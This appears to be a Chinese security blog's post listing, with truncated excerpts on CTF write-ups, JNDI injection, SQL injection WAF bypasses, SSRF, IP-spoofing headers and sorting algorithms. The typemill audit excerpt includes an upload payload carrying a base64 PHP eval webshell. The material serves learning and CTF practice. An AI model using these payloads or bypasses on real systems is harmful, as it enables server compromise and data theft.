- 博客(56)
- 资源 (22)
- 问答 (2)
- 收藏
- 关注
原创 第七届楚慧杯web writeup
Flask session伪造,登录用户名处模板注入用户名用{{config}}获取配置信息拿到用脚本生成session替换session成为admin 访问flag即可。
2023-03-30 17:05:01
1000
1
原创 本科毕设CTF平台-MarsCTF
Vue+Springboot开发的CTF学习平台,提供动态靶机、学习模块、writeup模块等等CTF平台的核心功能。提供docker版本。演示视频:https://www.bilibili.com/video/BV1eA4y1o73CTips: 前后端分离项目,本仓库为后端,前端仓库在https://github.com/b1ackc4t/MarsCTF-client初始管理员用户名/密码:admin/123456下载 https://github.com/b1ackc4t/MarsCTF/release
2022-06-07 13:26:41
2970
7
原创 14Finger-全能web指纹识别与分享平台
14Finger功能齐全的Web指纹扫描和分享平台,基于vue3+django前后端分离的web架构,并集成了长亭出品的rad爬虫的功能,内置了一万多条互联网开源的指纹信息。Github:https://github.com/b1ackc4t/14Finger特点基于强大的rad爬虫分析指纹,不局限于当前页面能够执行js脚本,动态js加载的应用也能扫描,比如Vue应用多线程,多进程,速度尚可人性化的指纹提交功能,指纹种类和信息划分精细,可供用户打造出自己的无敌指纹库批量爬虫、批量指纹,均
2022-05-15 22:59:03
1373
1
原创 Vue3在打包后自由修改接口地址
需求vue3项目,后台接口地址需要在打包后自由修改,每次修改后再打包太过麻烦方案public文件夹放json配置文件main.js里读取json配置文件并修改axios全局BaseUrl,且注册全局变量以此达到修改了axios接口地址并且能够在vue文件里自由访问接口地址的效果实例main.jsimport {createApp} from 'vue'import store from '@/store'import App from './App.vue'import router
2022-04-22 15:38:00
3355
1
原创 特征工程基本概述与简单实践
简介数据和特征决定了机器学习的上限,而模型和算法只是逼近这个上限而已好的数据和特征能够让机器学习事半功倍,甚至大大减轻算法的工作。想象一下极端情况,如果用全世界猫狗的照片来训练一个猫狗分类器,他将做到万无一失,反观如果只有几张猫狗照片来训练,甚至都不是猫狗的照片去训练猫狗分类器,那结果必定无法让人满意。手头的数据一般都是有限,但特征是需要我们去提取的,选出好的有意义的特征能够让数据的质量大大提高,达到以百抵千的效果。实例三位数的特征数字的分布三位是否是等差数列三位是否一样被某数整除…
2022-04-09 11:51:48
982
原创 数据分析基础理论与实践(二)
多因子与复合分析假设检验用于验证某个假设是否成立,核心就是假设和检验两个部分,可以理解成一种反证法建立原假设H0,H0的反命题为H1,也叫做备择假设选择检验统计量根据显著水平(一般为0.05),确定拒绝域计算p值或样本统计值,作出判断根据选取检验统计量的不同,又分为卡方统计、方差统计等等相关系数是衡量两组数据或两组样本一致性程度的因子正相关负相关趋近于0,不相关线性回归回归是确定两种或两种以上变量间相互依赖的定量关系的一种统计方法。依赖关系为线性的就是线性回归主成分分析
2022-04-08 13:50:32
1542
原创 数据分析基础理论与实践(一)
基础统计术语集中趋势数据聚拢位置的衡量,也就是数据聚拢在哪里均值一般用于衡量连续值,尤其是分布均匀的连续值中位数衡量一些存在异常值的集中趋势,其实就是二分位数众数衡量一些离散值分位数最常用的是四分位数离中趋势数据内部的差异水平的衡量标准差方差(标准差的平方)极差分布形态数据图表化后呈现出来的形态正态分布左偏分布数据集中在右边,数据整体是向左偏的右偏分布数据集中在左边,数据整体是向右偏的偏态系数数据
2022-04-06 16:16:16
466
原创 数据挖掘流程梳理
数据挖掘流程理解业务与数据一个好的数据挖掘必须去理解业务,对业务好的理解能够帮助你选择合适的数据、合适的算法去训练,得到更好的结果数据准备数据准备是基于原始数据,去构建数据挖掘模型所需的数据集的所有工作。一个好的数据准备过程能够使你甚至无需使用复杂的算法就能得到好用的模型。这是整个数据挖掘过程中最重要也是最耗时的环节。数据收集你要知道项目需要什么数据,从哪里获取数据从不同的数据源中获取数据(数据库、互联网等等)数据探索对数据分析、预处理以及转换等基础工作将获得的数据根据业务进行
2022-04-04 20:56:46
3248
原创 Latex 图片/表格位置不正确
问题在代码中插入图片的位置和实际得到pdf里图片位置不一样原因默认采用浮动的方式布局,会自动放在合适的位置,可能不在原处解决方案取消浮动即可...\usepackage{float}...\subsection{总体介绍}xxxxxxxxxxxxxxxxxxxxxxxx\begin{figure}[H] \begin{minipage}{\linewidth} \includegraphics[scale=0.4]{mokuaisheji.png} \end
2022-04-03 13:33:40
20103
3
原创 Latex + vscode 开发环境配置
TeX Live 下载与安装https://tug.org/texlive/acquire-iso.html下载iso文件,解压出来管理员运行进入安装界面,取消勾选前端环境即可,因为我们用vscode做前端,默认前端可以不要,然后其他选项可以默认也可以自己配置,一路next直到安装成功命令行输入xslatex -v有版本信息输出则为安装成功vscode配置vscode官网下载安装包傻瓜式安装,安装成功后我们下载一个插件搜索latex第一个就是,安装它ctrl shift p打开命令面板
2022-04-01 17:09:48
559
原创 代码审计typemill 任意文件上传漏洞
漏洞描述攻击者在后台发文章的附件处可以通过特殊的payload绕过预先设定的白名单,并且成功上传php文件渗透过程先把一句话木马进行base64随便传个文件抓一下上传的包,发到repeater构造如下payload,把一句话木马的base64放进file字段逗号后面即可{ "url":"/", "file":"xxx;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FudF0pOw==", "name":"shell.php", "csrf_name":"csrf6
2022-03-19 22:41:19
161
原创 宝塔面板 mysql安装后无法启动
解决方案经排查 3306端口并没有被占用,我本机自己的mysql也卸载了,于是我猜测是本机原来的mysql没卸载干净导致的冲突,从而无法启动把mysql删干净即可# 删除mysqlsudo apt-get autoremove --purge mysql-serversudo apt-get autoremove --purge mysql-server-*sudo apt-get autoremove --purge mysql-clientsudo apt-get autoremove -
2022-03-19 13:20:27
3286
原创 phpstudy/宝塔+phpstorm+xdebug实现远程调试
前提服务器: 192.168.48.135 ubuntu phpstudy客户端: 192.168.48.1 windows phpstorm步骤服务端配置phpstudy增加xdebug扩展写配置文件php.ini,在末尾添加即可[xdebug]xdebug.default_enable = Onxdebug.collect_params = Onxdebug.remote_connect_back = On xdebug.remote_host = 192.168.48
2022-03-17 21:19:47
1131
原创 Field ‘***’ doesn’t have a default value
问题描述在搭建cms时碰到插入数据报错,提示Field ‘last_ip’ doesn’t have a default value,表示插入数据缺少last_ip的值解决方案改代码,给last_ip一个值,显然我们不要这么做改mysql配置文件,让mysql忽略掉,在my.ini的[mysqld]后面添加一行sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"原理我们去掉了STRICT_TRANS_TABLES 模式,在 STRICT
2022-03-17 18:20:04
1791
原创 tomcat下jdk高版本的JNDI注入解析
前言经典的JNDI注入在jdk8u191以上的版本默认被限制了加载远程工厂类,但可以通过加载一些特殊的本地工厂,达到执行命令的效果比如常见的tomcat依赖里的BeanFactory就能实现类似的效果经典payload服务端package org.example.rmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Refe
2022-03-12 19:37:23
534
原创 JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败
前情提要服务端(攻击者)package org.example.rmi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry
2022-03-11 20:08:31
947
1
原创 CTF中的信息收集常见姿势
前端查看源代码检查注释href、src、action属性隐藏的表单数据js代码审计js特殊编码目录扫描源码泄漏备份文件.git.hg.svnvim缓存泄漏敏感目录泄漏robots.txt.DS_Store其他常见敏感目录Google Hacker聪明的使用搜索引擎能够让你发现更多的信息...
2022-02-22 18:47:32
243
原创 CTF 用于伪造ip的http请求头
X-Forwarded-For:127.0.0.1Client-ip:127.0.0.1X-Client-IP:127.0.0.1X-Remote-IP:127.0.0.1X-Rriginating-IP:127.0.0.1X-Remote-addr:127.0.0.1HTTP_CLIENT_IP:127.0.0.1X-Real-IP:127.0.0.1X-Originating-IP:127.0.0.1via:127.0.0.1
2022-02-22 18:19:57
2798
1
原创 vue3 传参报错 Unexpected mutation of “value“ prop
问题原因value是我定义的props,而vue是不允许子组件改变父组件传来的参数值的,自然不能放在v-model里了,不然就被表单乱改值。解决方法为了让父组件能在子组件里创建双向数据绑定,我们应该自定义一个v-model,而不是传递props子组件<template> <div style="text-align: center"> <input v-model="value" placeholder="edit me" />
2022-02-16 16:50:27
10105
原创 [红明谷CTF 2021]JavaWeb
进入网站从报错信息和图标能明显看出是一个springboot应用题目给了/login 我们访问试一试根据响应结果我们再访问/json试一试可以看到响应头location的url,能够判断它使用了shiro身份验证框架我们可以尝试shiro的公开漏洞 CVE-2020-11989https://blog.csdn.net/weixin_39811856/article/details/109847284成功访问,但是报错了,这里面对springboot有个技巧springboot对
2022-02-05 20:34:31
569
原创 [网鼎杯 2020 青龙组]filejava
任意文件下载入眼是一个上传框,我们先随意上传一个正常图片试试水拿到文件下载地址,尝试一下能否任意文件下载抓下载的包尝试目录穿越成功下载web.xml的内容所有class文件都在**/WEB-INF/classes**继续下载所有的class文件,注意不要忘了class后缀/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fDownloadServlet.class
2022-01-27 17:45:59
757
原创 选择排序算法
原理先找最小的放在第一个,接着在剩余部分再找最小的放第二个以此类推代码实现void sort(int arr[], int n){ for (int j = 0; j < n - 1; j++) { int minPos = j; for (int i = j + 1; i < n; i++) { if (arr[i] < arr[minPos]) {
2022-01-25 11:08:41
185
原创 冒泡排序算法
原理通过将相邻的数相比较,永远让大的数在右边,一轮下来就可以让最大的数像泡泡一样浮到最右边,再把最右边的去掉,对剩下的采取同样的操作,反复即可代码实现void sort(int *arr, int n){ for (int j = n - 1; j > 0; j--) { for (int i = 0; i < j; i++) { if (arr[i] > arr[i + 1]) {
2022-01-25 11:08:10
57
原创 插入排序算法
原理类似于插扑克牌的思想,保持手上的牌都是有序的,只需要把新抽的牌插入对应位置即可,从而保证了自己不断比较的部分是有序的,减少比较成本代码实现void sort(int *arr, int n){ for (int i = 1; i < n; i++) { for (int j = i; j > 0; j--) { if (arr[j] < arr[j - 1]) { swap(&arr[j], &arr[j - 1]); }
2022-01-25 11:07:20
57
原创 希尔排序算法
原理分组进行插入排序比如把 1 3 4 5 6 3 2 5 9以3为间隙分组先排1 5 2/3 6 5/4 3 9先在组内各自有序,然后不断的缩小间隙继续排序,直到间隙为1,成功排列完毕代码实现void sort(int* arr, int n){ for (int gap = n / 2; gap > 0; gap /= 2) // 2分取的间隔序列 { for (int j = gap; j < n; j++) {
2022-01-25 11:06:46
77
原创 快速排序算法
原理通过选定一个基准(通常是最后一个数),把数组排成两部分,一部分全小于基准一部分全大于基准(通常采用两个指针从两头扫描,两头都扫到应在另一边的数就交换),然后对两部分分别采用同样的算法,如此递归即可排完代码实现int partition(int* arr, int left, int right){ int midPar = arr[right]; int lPtr = left; int rPtr = right - 1; while (lPtr <= r
2022-01-25 11:06:16
148
原创 计数排序算法
原理针对于范围小数量大的数组,直接遍历一次对所有数进行计数,然后自己根据计数结果写数组代码实现void sort(int* arr, int n, int min, int max) //不稳定{ const int RAN = max - min + 1; int* arrRes = (int*)malloc(sizeof(int) * n); int* arrCount = (int*)malloc(sizeof(int) * RAN); //计数数组
2022-01-25 11:05:24
332
原创 基数排序算法
原理把数字比较想象成每一位的多因素排序,只要保持每次排序的稳定即可,最高位权重最大最后排,这种是lsd类型,还有msd类型,通过分治递归来排序代码实现int getMaxBit(int* arr, int n) //找数组中最高的有几位{ int maxBit = 0; int max = arr[0]; int div = 1; for (int i = 1; i < n; i++) { if (max < arr[i]) { max = arr[i]; }
2022-01-25 11:04:51
68
原创 归并排序算法
原理每次数组分成两部分,先把两部分分别排序好,再这两个有序部分归并成一个整体有序部分。通过这个归并思想用递归反复归并即可。代码实现void merge(int* arr, int left, int mid, int right) //归并函数 left左数组索引 mid右数组索引 right右边界索引{ int len = right - left + 1; int p1 = left; int p2 = mid; int* arrRes = (int*)malloc(sizeof(in
2022-01-25 11:02:47
1009
原创 [GYCTF2020]Easyphp
知识点反序列化pop链反序列化字符逃逸解题过程www.zip 备份文件获取源码审计代码构造pop链<?phpClass UpdateHelper{ public $id; public $newinfo; public $sql;}class User{ public $id; public $age; public $nickname; public function __toString() {
2022-01-24 10:42:06
2101
原创 Java-ASM框架学习-修改类的字节码
Tips: ASM使用访问者模式,学会访问者模式再看ASM更加清晰ClassReader用于读取字节码,父类是Object主要作用:分析字节码里各部分内容,如版本、字段等等配合其他Visitor使用主要使用的方法public void accept(ClassVisitor classVisitor, int parsingOptions) { this.accept(classVisitor, new Attribute[0], parsingOptions);}/
2022-01-24 10:21:13
409
原创 Java-ASM框架学习-java概念转字节码概念
前言当我们操作字节码的时候,都是和字节码的概念打交道,这让我们很困扰,asm也想到了这点,为了方便,它提供了一个可以把java概念转化为字节码概念的类import org.objectweb.asm.Type;Type类的功能这里仅列举常用功能,要探索更多强力功能请参考官方文档或者源码将类型转化为描述符获取方法参数、返回值的描述符获取类型的槽大小获取方法参数和返回值槽大小@Testvoid fun5() { // 返回Type对象 System.out.printl
2022-01-24 10:20:25
191
原创 Java-ASM框架学习-从零构建类的字节码
Tips: ASM使用访问者模式,学会访问者模式再看ASM更加清晰什么是ASMASM是一个操作Java字节码的类库学习这个类库之前,希望大家对Java 基本IO和字节码有一定的了解。高版本的ASM库可以操作它所支持的最高JAVA版本及其以下的字节码ASM版本Java版本2.053.264.075.086.096.1107.0117.1138.0149.0169.117ASM的功能从零生成
2022-01-24 10:19:44
490
原创 一文理解Java-class字节码文件
前言java语言在其刚诞生之际喊出的口号–“Write Once,Run Anywhere”,正是基于字节码(byte code)而存在的,java能够做到平台无关性,得力于这样一款优秀的中间语言,字节码的描述能力比java更强,所以它当然还不止为java服务,它同样为运行于JVM的其他语言服务,以作为一款通用的,与平台无关的,交付给JVM执行的媒介广义的class文件就是字节码,但字节码不仅仅是class文件,它作为一段二进制流,还可以以其他各种形式存在,如压缩包(jar)、网络流等等Tips:理论
2022-01-24 10:17:26
1246
原创 Java8-JVM内存区域划分白话解读
前言java作为一款能够自动管理内存的语言,与传统的c/c++语言相比有着自己独特的优势。虽然我们无需去管理内存,但为了防范可能发生的异常,我们需要对java内部数据如何存储有一定了解,已应对突发问题,写出更好的程序JVM对运行时程序内存的划分java程序在被编译成字节码后,由JVM执行,执行期间产生的所有数据,会被分门别类的存储在JVM预设好的区域里,具体情况如下所示java6时方法区还属于JVM管理的内存,那时俗称为“永久代”,负责存储:被虚拟机加载的类型信息、方法信息、常量(包括字符串常量)
2022-01-24 10:13:15
607
原创 Mysql注入绕过WAF总结
Mysql注入绕过WAF总结过滤等于号select * from user where id = 2;select * from user where id like 2;select * from user where id rlike 2;select * from user where id regexp 2;select * from user where id > 1 and id < 3;select * from user where !id <> 2;
2022-01-24 09:50:00
2703
原创 Mysql盲注总结
Mysql盲注当我们无法从显示的页面上直接获取SQL语句的执行结果时,需要进行盲注手工盲注的基本步骤判断是否存在注入 字符型还是数值型猜解当前数据库名猜解数据库的表名猜解表中的字段名猜解数据下面,我们探讨一下常见的三种盲注基于报错的盲注利用条件系统未关闭数据库报错信息,对于一些sql错误直接回显在了错误上未对报错函数进行过滤group by key报错原理当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来, co
2022-01-24 09:49:19
2914
原创 SSRF漏洞以及其WAF绕过总结
SSRF基本介绍SSRF(Server-Side Request Forgery),服务器端请求伪造,利用漏洞伪造服务端发起请求,从而突破客户端获取不到数据的限制常见存在SSRF的功能点在线翻译图片加载下载服务网站采集文件包含预览内容转码收藏分享多媒体加载在线编程api demo站长工具扫一扫markdown浏览常见判断方法有回显有延时 比如?url=www.google.com,有大量延时,而访问有的很快,有差异外带请求 可以利用dnslog平台测试(htt
2022-01-24 09:47:36
3477
phpstorm认为我require引入的变量是未定义的
2022-03-19
apache+php文件上传给了权限依旧权限不够
2020-10-14
TA创建的收藏夹 TA关注的收藏夹
TA关注的人